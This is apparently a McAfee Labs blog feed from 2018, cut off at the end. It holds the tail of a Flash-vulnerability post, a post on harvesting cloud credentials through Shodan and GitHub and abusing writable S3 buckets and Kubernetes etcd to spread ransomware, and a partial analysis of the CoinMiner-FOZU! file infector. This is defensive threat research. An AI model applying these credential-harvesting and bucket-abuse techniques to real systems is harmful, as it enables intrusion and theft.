  • 8001 and 1149: On by default, but log only, not block. Customers can select block.
    • 8001: Suspicious exploit behavior, log only, available in HIPS, not in ENS
    • 1149: CMD tool access by a Windows mail client or Internet Explorer, log only, available in HIPS, not in ENS
  • 6011 and 6010: Off by default. Enabling them may result in an increase of false positives.
    • 6011: Generic application invocation protection, not present in ENS
    • 6010: Generic application hooking protection, not present in ENS

Recent campaigns exploiting Flash Player Issues

CVE-2018-4878: Currently being exploited in a massive spam mail campaign.

CVE-2017-11292: Black Oasis Advanced Persistent Threat

CVE-2016-4117: Hidden Cobra APT/CryptXXX Ransomware/Erebus APT

CVE-2016-1019: Cerber and Locky ransomware/Hidden Cobra APT

CVE-2015-3133: CryptoWall Ransomware

CVE-2015-0311: TeslaCrypt and FessLeak Ransomware

CVE-2014-8439: Cerber Ransomware

CVE-2015-7645: Cerber and Alpha Crypt Ransomware

McAfee does not control or audit third-party benchmark data or the websites referenced in this document. You should visit the referenced website and confirm whether referenced data is accurate.
McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright © 2018 McAfee, LLC

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/feed/ 0
Cloud Clustering Vulnerable to Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/#respond Mon, 16 Apr 2018 16:00:43 +0000 https://securingtomorrow.mcafee.com/?p=88384 The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights. In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well […]

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights.

In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well as for cryptocurrency mining and other illegitimate uses. The use of containers has increased rapidly, especially when it comes to managing the deployment of applications. Our latest market survey found that 83% of organizations worldwide are actively testing or using containers in production. Applications need authentication for load balancing, managing the network between containers, auto-scaling, etc. One solution (called a cluster manager) for the automated installation and orchestration of containers is Kubernetes.

Some key components in the Kubernetes architecture appear below:

High-level Kubernetes architecture.

  • Kubernetes master server: The managing machine oversees one or more nodes
  • Node: A client that runs tasks as delegated by the user and Kubernetes master server
  • Pod: An application (or part of an application) that runs on a node. The smallest unit that can be scheduled to be deployed. Not intended to live long.

For our article, we need to highlight the etcd storage on the master server. This database stores the configuration data of the cluster and represents the overall state of the cluster at a given time. Kubernetes saves these secrets in Base64 strings; before Version 2.1 there was no authentication in etcd.

With that knowledge, security researcher Giovanni Collazo from Puerto Rico started to query the Shodan database for etcd databases connected to the Internet. He discovered many and by executing a query, some of these databases started to reveal a lot of credentials. Beyond leaking credentials from databases and other accounts, what other scenarios are possible?

Leaking Credentials

There are several ways that we can acquire credentials for cloud services without hacking into panels or services. By “creatively” searching public sites and repositories, we can find plenty of them. For example, when we searched on GitHub, we found more than 380,000 results for certain credentials. Let’s assume that half of them are useful: We would have 190,000 potentially valid credentials. As Collazo did for etcd, one can also use the Shodan search engine to query for other databases. By creating the right query for Django databases, for example, we were able to identify more cloud credentials. Amazon’s security team proactively scans GitHub for AWS credentials and informs their customers if they find credentials.

Regarding Kubernetes: Leaked credentials, complete configurations of the DNS, load balancers, and service accounts offer several possible scenarios. These include exfiltrating data, rerouting traffic, or even creating malicious containers in different nodes (if the service accounts have enough privileges to execute changes in the master server).

Creating malicious containers.

One of the biggest risks concerning leaked credentials is the abuse of your cloud resources for cryptomining. The adversaries can order multiple servers under your account to start cryptomining, enriching their bank accounts while you pay for the computing power “you” ordered.

Open Buckets

We have heard a lot about incidents in which companies have not secured their Amazon S3 buckets. A number of tools can scan for “open” buckets and download the content. Attackers would be most interested in write-enabled rights on a bucket. For our Cloud Security Alliance keynote address at RSA, we created a list of Fortune 1000 companies and looked for readable buckets. We discovered quite a few. That is no surprise, but if you combine the read-only buckets information with the ease of harvesting credentials, the story changes. With open and writable buckets, the adversaries have plenty of opportunities: storing and injecting malware, exfiltrating and manipulating data, etc.

McAfee cloud researchers offer an audit tool that, among other things, verifies the rights of buckets. As we write this post, more than 1,200 writable buckets belonging to a multitude of companies, are accessible to the public. One of the largest ad networks in the world had a publicly writable bucket. If adversaries could access that network, they could easily inject malicious code into advertisements. (As part of our responsible disclosure process, we reported the issue, which was fixed within hours.) You can read an extensive post on McAfee cloud research and how the analysts exposed possible man-in-the-middle attacks leveraging writable buckets.

Clustering the Techniques

To combat ransomware, many organizations use the cloud to back up and protect their data. In our talk we will approach the cloud as an attack vector for spreading ransomware. With the leaked credentials we discovered from various sources, the open and writable buckets created a groundwork for storing and spreading our ransomware. With attackers having a multitude of credentials and storage places such as buckets, databases, and containers, defenders would have difficulty keeping up. We all need to pay attention to where we store our credentials and how well we monitor and secure our cloud environments.

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/feed/ 0
Parasitic Coin Mining Creates Wealth, Destroys Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/#respond Wed, 11 Apr 2018 16:00:19 +0000 https://securingtomorrow.mcafee.com/?p=85367 The increasing popularity of cryptocurrencies has inspired some people to pursue coin mining, essentially making money online. (Mining is the processing of transactions in the digital currency system, in which new transactions are recorded in a digital ledger called the blockchain. Miners help to update the ledger to verify and collect new transactions to be […]

The post Parasitic Coin Mining Creates Wealth, Destroys Systems appeared first on McAfee Blogs.

]]>
The increasing popularity of cryptocurrencies has inspired some people to pursue coin mining, essentially making money online. (Mining is the processing of transactions in the digital currency system, in which new transactions are recorded in a digital ledger called the blockchain. Miners help to update the ledger to verify and collect new transactions to be added to the blockchain. In return, miners earn Bitcoins, for example.) Mining is resource intensive and legal if it is done with the proper permissions.

McAfee Labs has recently seen a huge increase in a malware variant, commonly known as CoinMiner or CoinMiner-FOZU!, which takes control of a victim’s computer to mine new coins by infecting user executables, injecting Coinhive JavaScript into HTML files, and blocking the domains of security products to stop signature updates.

CoinMiner-FOZU!, which we analyzed, has led all major coin-miner malware in prevalence in 2018. (March figures are incomplete.) Source: McAfee Labs.

The following graphs show statistics and geographic data for recent CoinMiner-FOZU! detections:

W32/CoinMiner employs—without a user’s consent—machine resources to mine coins for virtual currencies. Its parasitic nature makes it rare as well as destructive: The malware does not put a unique marker on each file it infects. Thus subsequent infections by the same malware will reinfect the victim’s files.

Analysis

After launching, CoinMiner copies itself into two hardcoded locations:

  • %Windows%\360\360Safe\deepscan\ZhuDongFangYu.exe
  • %filesystemroot%:\RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe

These two files are hidden and read only:

The binary executes from the first location and starts the parasitic infection process. The malware prepends itself to user-executable files but, unlike traditional file infectors, it does not allow the original file to run. It targets files with extensions .exe, .com, .scr, and .pif. This malware does not check for multiple infections. If the threat is deleted and later reinfects the system, the same files will again be targeted.

To prevent victims